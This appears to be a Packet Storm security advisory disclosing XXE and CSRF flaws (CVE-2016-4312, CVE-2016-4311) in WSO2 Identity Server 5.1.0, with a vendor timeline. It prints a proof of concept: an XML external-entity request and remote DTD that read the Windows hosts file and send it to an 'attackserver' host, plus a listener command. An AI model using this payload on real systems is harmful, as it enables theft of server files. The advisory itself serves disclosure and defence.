WSO2 Identity Server 5.1.0 XML Injection

Type packetstorm
Reporter hyp3rlinx
Modified 2016-08-13T00:00:00


                                            `[+] Credits: John Page aka HYP3RLINX  
[+] Website:  
[+] Source:  
[+] ISR: ApparitionSec  
Wso2 Identity Server v5.1.0  
As the industryas first enterprise identity bus (EIB), WSO2 Identity Server  
is the central backbone  
that connects and manages multiple identities across applications, APIs,  
the cloud, mobile, and Internet  
of Things devices, regardless of the standards on which they are based. The  
multi-tenant WSO2 Identity Server  
can be deployed directly on servers or in the cloud, and has the ability to  
propagate identities across geographical  
and enterprise borders in a connected business environment.  
Vulnerability Type:  
XML External Entity / CSRF  
CVE Reference(s):  
CVE-2016-4312 (XXE)  
CVE-2016-4311 (CSRF)  
Vulnerability Details:  
WSO2IS XML parser is vulnerable to XXE attack in the XACML flow, this can  
be exploited when XML input containing a reference to an  
external entity is processed by a weakly configured XML parser. The attack  
leads to the disclosure and exfiltration of confidential  
data and arbitrary system files, denial of service, server side request  
forgery, port scanning from the perspective of the machine  
where the parser is located (localhost), and other system impacts.  
The exploit can be carried out locally by an internal malicious user or  
remote via CSRF if an authenticated user clicks an attacker  
supplied link or visits a evil webpage. In case of WSO2IS system files can  
be read / exfiltrated to the remote attackers server  
for safe keeping -_-  
Exploit code(s):  
XXE POC, exfiltrate the victims Windows hosts file to our remote server.  
1) Form for the XXE POST request.  
<form id='XXE' action="  
<textarea rows="20" cols="100" name="txtRequest">  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE roottag [  
<!ENTITY % file SYSTEM "C:\Windows\System32\drivers\etc\hosts">  
<!ENTITY % dtd SYSTEM "http://attackserver:8080/payload.dtd">  
<Request xmlns="urn:oasis:names:tc:xacml:3.0:core:schema:wd-17"  
CombinedDecision="false" ReturnPolicyIdList="false">  
<input type="hidden" name="forwardTo" value="eval-policy.jsp">  
2) DTD file on attacker server.  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attackserver:8080?%file;'>">  
3) On attack server create listener for the victims HTTP request.  
python -m SimpleHTTPServer 8080  
Disclosure Timeline:  
Vendor Notification: May 6, 2016  
Vendor Acknowledgement: May 6, 2016  
Vendor Fix / Customer Alerts: June 30, 2016  
August 12, 2016 : Public Disclosure  
Exploitation Technique:  
Severity Level:  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.